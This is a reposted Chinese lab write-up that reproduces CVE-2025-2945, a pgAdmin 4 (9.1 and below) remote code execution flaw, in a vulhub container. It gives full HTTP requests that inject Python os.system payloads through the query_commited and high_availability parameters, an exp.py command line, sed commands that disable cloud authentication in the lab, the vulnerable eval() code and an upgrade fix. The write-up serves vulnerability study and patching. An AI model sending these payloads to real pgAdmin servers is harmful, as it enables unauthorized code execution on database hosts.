当前位置: 首页
数据库
pgAdmin4 9.1及以下版本远程代码执行漏洞复现

pgAdmin4 9.1及以下版本远程代码执行漏洞复现

时间:2026-08-06
转载

pgAdmin9 2之前版本存在CVE-2025-2945远程代码执行漏洞,攻击者需有效账号且server模式部署,通过 sqleditor query_tool download和 cloud deploy端点将恶意参数传入eval()执行任意代码,升级至9 2及以上可修复。

简介

pgAdmin 是一款功能强大的开源管理工具,专门用于 PostgreSQL 数据库的开发与管理。它提供了直观的用户界面,让数据库管理员和开发人员能轻松完成常见任务——创建和修改数据库对象、执行 SQL 查询、管理用户权限,乃至监控数据库性能。支持多操作系统,也能通过 Web 界面远程访问,在不同设备上都能进行管理操作。

这次曝出的 CVE-2025-2945 漏洞,影响 pgAdmin 4 的 9.2 之前版本,涉及两个 POST 端点:/sqleditor/query_tool/download(参数 query_commited)和 /cloud/deploy(参数 high_a vailability)。问题在于这些参数被不安全地传递给了 Python 的 eval() 函数,导致攻击者可以注入任意代码并执行。

这里有个前提条件:攻击者需要具备有效的账号权限,并且 pgAdmin 是以 server 模式 部署的,才能通过这两个接口传递恶意代码。

环境搭建

使用 vulhub 中准备好的环境,pgAdmin 版本为 9.1,一键启动:

cd vulhub/pgadmin/CVE-2025-2945
docker-compose up -d

访问 http://目标IP:5050,进入登录界面。

预置账户:vulhub@example.com:vulhub
数据库用户/密码:vulhub:vulhub

复现

/sqleditor/query_tool/download

连接数据库

登录后,首先需要连接数据库。在界面上点击连接,同时抓包并拦截响应:

返回的 JSON 里包含了关键的 sid、did、数据库名称等信息:

{
  "success": 1,
  "errormsg": "",
  "info": "Server connected.",
  "result": null,
  "data": {
    "sid": 1,
    "did": 16384,
    "icon": "icon-pg",
    "connected": true,
    "server_type": "pg",
    "replication_type": null,
    "type": "pg",
    "version": 170010,
    "db": "vulhub",
    "user": {
      "id": 10,
      "name": "vulhub",
      "is_superuser": true,
      ...
    },
    ...
  }
}

初始化 SQL 编辑器

拿到 sid:1, did:16384, db:vulhub 后,就可以初始化 SQL 编辑器了。注意 trans_id 可以任意设置,这里设为 1234568:

POST /sqleditor/initialize/sqleditor/1234568/1/1/16384 HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 21

{
    "user": "vulhub",
    "password": "vulhub",
    "role": "",
    "dbname": "vulhub"
}

返回包含 "success":1 即表示成功。

attack

接下来发送 payload,将恶意 Python 代码填入 query_commited 参数:

POST /sqleditor/query_tool/download/1234568 HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 77

{
    "query_commited": "__import__('os').system('echo `whoami`>/tmp/w')"
}

服务器返回 500 是正常的——因为执行的是系统命令而非 SQL,导致内部错误,但 payload 已经成功运行:

EXP

vulhub 自带了 exp.py,可以一键利用:

python exp.py --target-url http://目标IP:5050 --username vulhub@example.com --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('touch /tmp/success')"

手动

当然也可以手工操作:在界面上依次点击 "server" - "database" - "vulhub" - "tools" - "query tool",打开查询工具。

随便执行一个简单的 SQL 语句:

点击下载结果时开启抓包,拦截请求:

将请求发送到 repeater,修改 query_commited 参数即可:

进入 docker 容器验证:

/cloud/deploy

认证

为了方便复现,可以先进入 docker 容器注释掉 Google Cloud 认证部分——实际场景中,攻击者需要先通过认证(比如拥有有效的云凭据)。

FILE="/usr/local/lib/python3.13/site-packages/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' $FILE
FILE2="/usr/local/lib/python3.13/site-packages/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE2
sed -i "s/env['GOOGLE_CREDENTIALS'] = /#&/" $FILE2

重启 docker:

docker restart DOCKER-ID

attack

登录后发送以下数据包,在 high_a vailability 参数中注入恶意代码:

POST /cloud/deploy HTTP/1.1
Host: 10.143.240.136:5050
...
Content-Type: application/json
X-pgA-CSRFToken: ...
Content-Length: 645

{
  "cloud": "google",
  "secret": {
    "gid": "1",
    "oid": null,
    "client_secret_file": "/tmp/test.json"
  },
  "instance_details": {
    "name": "test-instance",
    "project": "test-project",
    "region": "us-central1",
    "db_version": "POSTGRES_14",
    "instance_type": "db-f1-micro",
    "storage_type": "PD_SSD",
    "storage_size": 10,
    "public_ips": "0.0.0.0/0",
    "a vailability_zone": "us-central1-a",
    "secondary_a vailability_zone": "us-central1-b",
    "high_a vailability": "__import__('os').system('touch /tmp/root1')"
  },
  "db_details": {
    "gid": 1,
    "db_password": "test123"
  }
}

漏洞代码

源码下载地址:pgadmin-archive.postgresql.org/pgadmin4/v9...

关于 /sqleditor/query_tool/download 路径,问题出现在 pgAdmin4/pgadmin4-9.1/web/pgadmin/tools/sqleditor/__init__.py 中:

query_commited = data.get('query_commited', False)
# Iterate through CombinedMultiDict to find query.
for key, value in data.items():
    if key == 'query':
        sql = value
    if key == 'query_commited':
        query_commited = (
            eval(value) if isinstance(value, str) else value
        )

而且 data 的来源是:

data = request.values if request.values else request.get_json(silent=True)

因此只要 query_commited 的值为字符串,eval() 就会把它当作 Python 代码执行——RCE 就此诞生。

而 /cloud/deploy 路径的漏洞代码在 pgAdmin4/pgadmin4-9.1/web/pgacloud/providers/google.py 中:

def _create_google_postgresql_instance(self, args):
    credentials = self._get_credentials(self._scopes)
    service = discovery.build('sqladmin', 'v1beta4',
                              credentials=credentials)
    high_a vailability = 
        'REGIONAL' if eval(args.high_a vailability) else 'ZONAL'

同样,high_a vailability 参数可控:

parser_create_instance.add_argument('--high-a vailability',
                                    default=False)

防御

升级 pgAdmin 4 至 9.2 或更高版本,官方已修复这两个 eval() 调用。

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
Redis是什么:核心特性、架构与应用场景解析

Redis是什么:核心特性、架构与应用场景解析

Redis是一款基于内存的键值型NoSQL数据库,以超高读写速度和丰富的数据结构著称。本文系统梳理Redis的核心特性、架构组成、性能优势及典型应用场景,并通过与Memcached、MySQL、MongoDB的对比,帮助开发者快速判断Redis是否适合当前业务需求。

时间:2026-09-01 06:20
Windows 安装 MongoDB 完整图文教程

Windows 安装 MongoDB 完整图文教程

本文详细介绍在 Windows 系统上安装 MongoDB 的完整流程。从官网下载 MSI 安装包开始,逐步演示自定义安装路径、配置 Windows 服务、跳过 MongoDB Compass 等关键选项,并提供通过系统服务列表验证安装是否成功的方法,帮助开发者快速搭建本地 MongoDB 环境。

时间:2026-09-01 06:20
Linux 安装 MongoDB 完整指南:依赖配置、环境变量与服务启动

Linux 安装 MongoDB 完整指南:依赖配置、环境变量与服务启动

本文详解在 Linux 系统下安装 MongoDB 的完整流程,涵盖依赖包安装、二进制包下载解压、环境变量配置、数据与日志目录创建及服务启动验证。通过标准化命令与路径说明,帮助开发者快速完成部署并确认服务状态。

时间:2026-09-01 06:20
MacOS安装MongoDB完整教程

MacOS安装MongoDB完整教程

本文介绍在MacOS系统下安装MongoDB的完整流程,涵盖下载、解压、目录配置、环境变量设置及服务启动。通过明确的命令与参数说明,帮助开发者快速完成环境搭建并验证安装结果。

时间:2026-09-01 06:19
Ubuntu系统安装与配置Redis完整指南

Ubuntu系统安装与配置Redis完整指南

本文详解在Ubuntu系统中安装Redis的两种主流方式:apt在线安装与源码编译安装。涵盖版本选择逻辑、服务启停与状态检查、连接验证方法,以及在线练习工具与桌面GUI客户端的对比与使用建议,帮助开发者快速搭建并验证Redis运行环境。

时间:2026-09-01 06:19
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全